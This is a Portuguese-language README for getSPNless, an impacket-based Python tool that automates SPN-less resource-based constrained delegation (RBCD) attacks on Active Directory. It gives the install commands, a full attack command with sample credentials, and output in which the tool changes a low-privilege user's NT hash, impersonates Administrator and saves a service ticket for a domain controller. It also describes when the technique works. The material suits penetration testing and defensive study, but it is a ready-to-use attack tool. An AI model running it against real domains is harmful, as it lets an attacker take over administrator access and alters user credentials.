
Ferramenta Python para realizar automaticamente ataques SPN-less RBCD.

Ferramenta Python para obter tickets de serviço Kerberos usando a técnica SPN-less. Baseado em Exploiting RBCD Using a Normal User Account.
Esta ferramenta utiliza o projeto impacket.
Estas ferramentas são compatíveis apenas com Python 3.5+. Clone o repositório do GitHub, instale as dependências e estará pronto para usar:
git clone https://github.com/jarnovandenbrink/getSPNless.git
cd getSPNless
python3 -m pip install .
O uso de um virtualenv é recomendado.
python3 getSPNless.py -spn cifs/DC01.pwn.local -dc-ip 192.168.2.64 -impersonate Administrator pwn.local/low:'Somepass1'
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies
[*] Requesting a TGT
[*] Calculating RC4 value of the provided password
[*] NT Hash: :3ac433014b4d5b1b4bc8a5350153ea93
[*] Saving ticket in low.ccache
[*] Ticket Session Key: 37ff4701394ef659bdd724e5dca5c00f
[*] Changing the password of pwn.local\low
[*] Connecting to DCE/RPC as pwn.local\low
[*] Password was changed successfully.
[!] User might need to change their password at next logon because we set hashes (unless password never expires is set).
[*] Impersonating Administrator
[*] Requesting S4U2self+U2U
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@[email protected]
[*] To revert the password, run: changepasswd.py pwn.local/low:[email protected] -hashes :37ff4701394ef659bdd724e5dca5c00f -newpass Somepass1
Alternativamente, um hash NT pode ser usado. Observe que, ao usar um hash NT, a recuperação da senha só é possível se a flag “password never expires” estiver definida na conta do usuário.
Esta ferramenta fornece um método para contornar o requisito de conta de máquina ao realizar ataques RBCD. O problema atual ao realizar RBCD com uma conta de usuário é que o KDC não sabe qual chave de criptografia usar para o ticket. Esta ferramenta contorna essa limitação solicitando um TGT Kerberos, extraindo a chave de sessão do ticket e modificando o hash NT do usuário. Usando S4U2Self+U2U e S4U2Proxy, ainda é possível obter um ticket de serviço. Pessoalmente, optaria por usar contas de máquina ou shadow credentials com PKINIT/UnPAC-the-Hash em vez de RBCD SPN-less. No entanto, esta é uma boa alternativa quando MachineAccountQuota está definido como 0 e não há ADCS disponível ou PKINIT está desabilitado. Observe que o ataque não funcionará se o Tipo de Criptografia RC4 Kerberos estiver desabilitado. Você pode verificar isso procurando pelo Kerberos type 23 (Etype 23).
Este projeto foi desenvolvido parcialmente durante meu trabalho na Cyber Cloud e parcialmente em meu tempo livre. Agradeço à Cyber Cloud por disponibilizar tempo para desenvolver e pesquisar este trabalho.